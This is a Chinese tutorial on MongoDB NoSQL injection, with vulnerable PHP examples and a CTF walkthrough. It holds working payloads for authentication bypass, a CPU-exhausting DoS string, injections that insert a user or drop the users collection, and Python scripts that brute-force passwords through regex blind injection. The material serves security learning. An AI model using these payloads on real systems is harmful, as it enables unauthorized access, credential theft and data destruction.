从零学习 NoSQL 注入之 Mongodb

本文作者：ca01h（信安之路成长平台百分成员）

本文难度虽然不是很大，不过文章相对完整，有理有据，值得分享。

0x01 NoSQL 和 MongoDB 简介

NoSQL

NoSQL 的概念就不赘述了，以下摘自菜鸟教程。

NoSQL，指的是非关系型的数据库。NoSQL 有时也称作 Not Only SQL 的缩写，是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL 用于超大规模数据的存储。（例如谷歌或 Facebook 每天为他们的用户收集万亿比特的数据）。这些类型的数据存储不需要固定的模式，无需多余操作就可以横向扩展。

MongoDB

详细概念建议直接看教程 [传送门：

http://www.runoob.com/mongodb/mongodb-tutorial.html

这里就简单的总结几句:

在 MySQL 中，我们所熟知的几个最常见的概念是数据库 (Database)、表 (Table)、字段 (Column)、记录 (Record)、索引 (Index)，这些术语映射到 MongoDB 中大概等价于数据库 (Database)、集合 (Collection)、域 (Field)、文档 (Document)、索引 (Index)。下面就通过官网文档的几张图略作解释。

文档是由一组键值 (key-value) 对 (即 BSON，Binary JSON) 组成。MongoDB 的文档不需要设置相同的字段，并且相同的字段不需要相同的数据类型，例如：

集合就是 MongoDB 文档组，存在于数据库中，而且它没有固定的结构，这意味着你对集合可以插入不同格式和类型的数据，但通常情况下我们插入集合的数据都会有一定的关联性。下面这张图展示了这三者之间的关系：

好了，前置知识部分介绍到这里，下面开始今天的正文部分：MongoDB 注入

0x02 NoSQL 注入

在讲 MangoDB 注入之前，我们先大致了解一下整个 NoSQL 注入的流程，下面这张图来自 OWASP：

NoSQL 提供了新的数据模型和查询格式，从而可以规避常规的 SQL 注入攻击。但是，它们也为攻击者提供了插入恶意代码的新方法。总的来讲有四种注入手法：

1、重言式

又称为永真式（这个好像是数理逻辑里面的术语），此类攻击是在条件语句中注入代码，使生成的表达式判定结果永远为真，从而绕过认证或访问机制。

2、联合查询

联合查询是一种众所周知的SQL注入技术，攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

3、JavaScript 注入

MongoDB Server 支持 JavaScript，这使得在数据引擎进行复杂事务和查询成为可能，传递不干净的用户输入到这些查询中可以注入任意 JavaScript 代码，导致非法的数据获取或篡改。

4、盲注

当页面没有回显时，那么我们可以通过$regex正则表达式来达到和 SQL 注入中substr()函数相同的功能，而且 NoSQL 用到的基本上都是布尔盲注。

下面，我们就主要通过 PHP 来讲解一下 MongoDB 注入的利用方式，其他语言手法是类似的。

0x03 PHP MongoDB 注入

在 PHP 中使用 MongoDB 你必须使用 MongoDB 的 PHP 驱动：

https://pecl.php.net/package/mongodb

官网上可以看到有很多版本，其中 1.0.0 版本之后，php_mongodb.dll 将不再支持MongoClient类，也就是说，$m = new MongoClient("mongodb://localhost:27017");这种调用方式已经被淘汰，而是用命名空间的方式，但是注入的原理是差不多的，这里就主要介绍一下新版 PHP 驱动进行查询操作 MongoDB 的三种方法（为了方便，均以 GET 请求方式为例（一般注入也是发生在查询语句中）。

测试环境

win10
PHP 7.3.4
MongoDB Server 4.2
php_mongodb.dll 1.7.4

重言式注入

利用executeQuery直接查询：

# 连接数据库$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");$uname = $_GET['username'];$pwd = $_GET['password'];# 查询语句$query = new MongoDB\Driver\Query(array(    'uname' => $uname,    'pwd' => $pwd));# 执行语句$result = $manager->executeQuery('test.users', $query)->toArray();$count = count($result);if ($count > 0) {    foreach ($result as $user) {        $user = ((array)$user);        echo 'username:' . $user['uname'] . '
';        echo 'password:' . $user['pwd'] . '
';    }}


    
else{        echo 'Not Found';}

传递的参数是一个数组，比较安全。这种形式叫 ODM，它会帮你过滤数据，所以一般不用担心原语句被破坏。

ORM 对应关系型数据库，如 MySQL；ODM 对应文档型数据库，如 MongoDB。

当我们用公共用户 ca01h 输入时，显示出 username 和 password：

这是一个正常的输入，数据处理过程如下图所示：

PHP 允许最终用户通过将 URL 参数更改为带有方括号的参数来将 GET 查询字符串输入更改为数组，我们试一下这种输入：

$ne 即 not equal 不等于

amazing~ 所有用户都查出来了，再看一下数据处理过程：

对于 PHP 本身的特性而言，由于其松散的数组特性，导致如果我们输入value=1那么，也就是输入了一个 value 的值为 1 的数据。如果输入value[$ne]=1也就意味着value=array($ne=>1),在 MongoDB 中，原来的一个单个目标的查询变成了条件查询。同样的，我们也可以使用username[$gt]=&password[$gt]=作为 payload 进行攻击。

这种方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。

联合查询注入

我们都知道在 SQL 时代拼接字符串容易造成 SQL 注入，NoSQL 也有类似问题，但是现在无论是 PHP 的 MongoDB driver 还是 node.js 的 mongoose 都必须要求查询条件必须是一个数组或者 query 对象了，因此简单看一下就好。

示例代码：

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

Payload：

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'

相当于执行了：

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: 'successful MongoDB injection'

这种手法和 SQL 注入比较相似：

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

JavaScript 注入

我们知道 MongDB Server 是支持 JavaScript 语言的，这样给开发人员带来了很多非常方便的使用方法，但也是因为它本身的灵活性，造成了 JavaScript 注入。

$where 操作符

在 MongoDB 中 $where 操作符是可以执行 JavaScript 语句的，在 MongoDB 2.4 之前，通过 $where 操作符使用map-reduce、group命令可以访问到 mongo shell 中的全局函数和属性。

$manager = new MongoDB\Driver\Manager();$uname = $_GET['username'];$pwd = $_GET['password'];$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";$query = new MongoDB\Driver\Query(array(    '$where' => $function));$result = $manager->executeQuery('test.users', $query)->toArray();$count = count($result);if ($count>0) {    foreach ($result as $user) {        $user=(array)$user;        echo 'username: '.$user['uname']."
";        echo 'password: '.$user['pwd']."
";    }}else{    echo 'Not Found';}

MongoDB 2.4 版本之前，可以访问到 db 属性：

?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

由此可以扩展出其他的很多类似的 payload。

MongoDB 2.4 版本之后，无法访问全局属性，NoSQL 中的万能密码 payload (单引号闭合)：

?username=1&password=admin' || '' = '

相当于执行：

$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";

此外还有一个类似于 DOS 攻击的 payload，可以让服务器 CPU 飙升到 100% 持续 5 秒：

?username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();

eval

注意，eval使用方式在 Mongo3.0 之后已经被废弃了，而且在官方页面中也没有 Mongo3.0 版本之前的下载链接了，以下的实例代码未经测试，仅提供给大家一个思路，以下代码引用自

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html


$manager = new MongoDB\Driver\Manager();$uname = $_GET['username'];$pwd = $_GET['password'];$cmd = new MongoDB\Driver\Command(['eval'=> "db.users.distinct('uname', {uname: '".$uname'})"]);echo "db.users.distinct('uname', {uname: '".$uname'})";$result = $manager->executeCommand('sec_test', $cmd)->toArray();$result =((array)$result[0])['retval'];$count = count($result);if ($count>0) {    foreach ($result as $user) {        $user=(array)$user;        echo 'username: '.$user['uname']."\n";        echo 'password: '.$user['pwd']."\n";    }}else{    echo 'Not Found';}?>

往 users 集合插入攻击者用户：

?username=1'});db.users.insert({"username":"ca01h","password":"1"});db.users.find({'username':'2

删掉 users 集合：

?username=1'});db.users.drop();db.users.find({'username':'2

mapReduce

MongoDB 中的 mapReduce函数有点类似于 MySQL 中的group by操作，下面是一个官方文档的例子，在集合 orders 中查找 status:"A" 的数据，并根据 cust_id 来分组，并计算 amount 的总和：

简单的解释一下：

map函数用于分组：

function map(){ emit(param1, param2); }param1：需要分组的字段，this.字段名；param2：需要进行统计的字段，this.字段名。

reduce函数用于处理需要统计的字段：

function reduce(key, values){ // 统计字段处理 }  key： 指分组字段（emit的param1）对应的值；values：指需要统计的字段（emit的param2）值组成的数组。

Map 函数和 Reduce 函数可以使用 JavaScript 来实现，使得 MapReduce 的使用非常灵活和强大。但是同样也带来了隐患，假设有这样的一个业务场景，数据库中存储了一个store集合，有一系列商品的名称、价格和数量，我们想得到相同商品的价格或者数量的总和，代码如下：

require_once __DIR__ . "/vendor/autoload.php";$param = $_POST['param'];$collection = (new MongoDB\Client)->test->stores;$map = "function() {        for (var i = 0; i < this.items.length; i++) {      emit(this.name, this.items[i].$param);    }        }";$reduce = "function(name, sum) { return Array.sum(sum); }";$opt = "{ out: 'totals' }";$results = $collection->mapReduce($map, $reduce, $out);

该代码应该在$param给定的字段上求和，但是这同样给了攻击者可乘之机，如果$param是这样：

a);}},function(kv) { return 1; }, { out: ‘x’ });db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1

那么在 MongoDB 中就相当于执行了下面这条语句：

db.stores.mapReduce(function() {for (var i=0; i < this.items.length; i++) {emit(this.name, this.items[i].a);}},function(kv) { return 1; }, { out


    
: 'x' });db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1); } },function(name, sum) {return Array.sum(sum); }, { out: 'totals' });"

相当于直接控制了整个 MongoDB 的操作。

但我们也同时发现，构建这样的 payload 是有一定难度的，需要我们对 MongoDB，JavaScript 和业务都有足够的了解，这也是 NoSQL 注入的局限性。但是，这个例子也告诉我们有用户输入的地方就有危险存在，比如后面有一个 CTF 题目，用的也是 MongoDB 中的聚合函数aggregate，因为一个 GET 参数而存在注入漏洞。

盲注

回想一想上面的例子，假如页面只是告诉你成功或者失败，那么就是我们在 MySQL 里遇到的布尔盲注了。布尔盲注重点在于怎么逐个提取字符，MySQL 里我们可以采用substr，而在 MongoDB 里我们有 $regex正则表达式。下面是一些常用的盲注。

已知某一个用户名的前提下判断的密码长度：

?username[$eq]=ca01h&password[$regex]=.{5}

逐位提取字符：

# url格式?username[$eq]=ca01h&password[$regex]=c.{4}?username[$eq]=ca01h&password[$regex]=ca.{3}?username[$eq]=ca01h&password[$regex]=ca0.{2}?username[$eq]=ca01h&password[$regex]=c.*?username[$eq]=ca01h&password[$regex]=ca.*# json格式{"username": {"$eq": "ca01h"}, "password": {"$regex": "^c" }}{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca" }}{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca0" }}

当然，提到盲注肯定少不了脚本：

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username = 'admin'password = ''target = 'http://127.0.0.1/mongo/test.php'while True:    for c in string.printable:        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:            payload = '?username=%s&password[$regex]=^%s' % (username, password + c)            r = requests.get(target + payload)            


    
if 'OK' in r.text:                print("Found one more char : %s" % (password+c))                password += c

爆破密码结果如下：

类似的还有 POST 的版本：

import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""target = 'http://127.0.0.1/mongo/test.php'headers = {'content-type': 'application/json'}while True:    for c in string.printable:        if c not in ['*','+','.','?','|']:            payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)            r = requests.post(target, data = payload, headers = headers, verify = False, allow_redirects = False)            if 'OK' in r.text or r.status_code == 302:                print("Found one more char : %s" % (password+c))                password += c

当然这里的脚本还是有一些改进的地方，比如可以首先判断用户名或密码长度，而且上面代码去掉了一些特殊字符等等的。这里就不再多做演示了，刚好下面有一个实例靶机是需要写 Python 脚本盲注 MongoDB，那个代码考虑的问题更多，可以稍微看一下。

0x04 Node.JS MongoDB 注入

技巧跟 PHP MongoDB 是类似的，这里就提供一些 Node.JS 的靶场给大家练练手：

https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035

https://github.com/ricardojoserf/NoSQL-injection-example

0x05 MongoDB 注入实例

CTF NopeSQL

靶机地址：

https://cybrics.net/tasks/nopesql

扫描网站发现有 Git 源码泄露，用 GitHack 工具获得index.php源码：

require_once __DIR__ . "/vendor/autoload.php";function auth($username, $password) {    $collection = (new


    
 MongoDB\Client('mongodb://localhost:27017/'))->test->users;    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';    $document = $collection->findOne(json_decode($raw_query));    if (isset($document) && isset($document->password)) {        return true;    }    return false;}$user = false;if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {    $user = auth($_COOKIE['username'], $_COOKIE['password']);}if (isset($_POST['username']) && isset($_POST['password'])) {    $user = auth($_POST['username'], $_POST['password']);    if ($user) {        setcookie('username', $_POST['username']);        setcookie('password', $_POST['password']);    }}?> if ($user == true): ?>    Welcome!    <div>        Group most common news by        <a href="?filter=$category">categorya> |        <a href="?filter=$public">publicitya><br>    div>            $filter = $_GET['filter'];        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;        $pipeline = [            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],            ['$sort' => ['count' => -1]],            ['$limit' => 5],        ];        $filters = [            ['$project' => ['category' => $filter]]        ];        $cursor = $collection->aggregate(array_merge($filters, $pipeline));    ?>     if (isset($filter)): ?>                    foreach ($cursor as $category) {                    printf("%s has %d news
", $category['_id'], $category['count']);            }        ?>     endif; ?> else: ?>     if (isset($_POST['username']) && isset($_POST['password'])): ?>        Invalid username or password     endif; ?>    <form action='/' method="POST">        <input type="text" name="username">        <input type="password" name="password">        <input type="submit">


    
    form>    <h2>Newsh2>            $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;        $cursor = $collection->find(['public' => 1]);        foreach ($cursor as $news) {            printf("%s
", $news['title']);        }    ?> endif; ?>

第一步是利用重言式注入登录，但是有点不同的是，输入的参数被双引号包括，所以我们必须想办法闭合这个双引号，payload：

username=1&password=","password":{"$ne"=null}, "username":admin"

这里如果直接使用{"$ne":null}会出现 500 的错误：

代码：var_dump(json_decode($raw_query));输出:object(stdClass)#1 (2) {  ["username"]=>  string(12) "{'$ne':null}"  ["password"]=>  string(12) "{'$ne':null}"}

发现{'$ne':null}被解析成了 string 而不是 array。前一个 payload 虽然username和password重复了，但json_decode时变量只会是最后一次的赋值。

登录成功后

filter 参数里可以填 category展示目录 text展示内容 title展示标题，但是都限制了5条。

代码里是用的 MongoDB 聚合函数aggregate，下面这张图也是来自官方文档，解释了aggregate函数的执行过程：

使用aggregate聚合函数时，在里面是可以使用条件判断语句的。在 MongoDB 中$cond表示if判断语句，匹配的符号使用$eq，连起来为[$cond][if][$eq]，当使用多个判断条件时重复该语句即可。

官方文档列出的$cond的用法：

官方文档的例子:

https://docs.mongodb.com/manual/reference/operator/aggregation/cond/


db.inventory.aggregate(   [      {         $project:           {             item: 1,             discount:               {                 $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }               }           }      }   ])

现在我们的目的是：如果$category的值是 flag，那么就输出$title的内容，否则还是原样输出$catagory，照着上面的例子写成 MongoDB shell 的形式就是：

db.news.aggregate(   [      {         $project:           {             category:               {                 $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category }               }           }      }   ])

转换成 PHP 数组形式传入 filter 参数：


?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

转换成raw_query的形式：

{    "category":    {     "$cond":     {      "if":      {          "$eq": [ "$category", "flags" ]      },      "then": "$title",      "else": "$category"     }    }}

var_dump(json_decode(raw_query))即为：

object(stdClass)#4 (1) {  ["category"]=>  object(stdClass)#3 (1) {    ["$cond"]=>    object(stdClass)#2 (3) {      ["if"]=>      object(stdClass)#1 (1) {        ["$eq"]=>        array(2) {          [0]=>          string(9) "$category"          [1]=>          string(5) "flags"        }      }      ["then"]=>      string(6) "$title"      ["else"]=>      string(9) "$category"    }  }}

接着直接修改$title为$text查看：

成功拿到 flag~

HTB Mongo

最近做了一个 HackTheBox 的靶机，主要考察的就是写 Python 脚本盲注 MongoDB 的过程，限于篇幅原因，就不把 walkthrough 贴在这里了，感兴趣的同学可以移步于此:

https://ca0y1h.top/Target_drone/HackTheBox/5.HTB-Mongo-walkthrough/

0x06 工具

Github 上有个工具叫 NoSQLAttack, 不过已经没有维护了:

https://github.com/youngyangyang04/NoSQLAttack

另外还有一个 NoSQLMap 工具，这个项目作者仍在维护:

https://github.com/codingo/NoSQLMap

0x07 参考资料

https://www.runoob.com/mongodb/

https://pockr.org/activity/detail?activity_no=act_761e1e744d8aa16823#sp_26a751c506f61078b0

https://www.mi1k7ea.com/2019/08/11/NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB/#0x03-NoSQL%E6%B3%A8%E5%85%A5

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html

https://nullsweep.com/a-nosql-injection-primer-with-mongo/

https://zanon.io/posts/nosql-injection-in-mongodb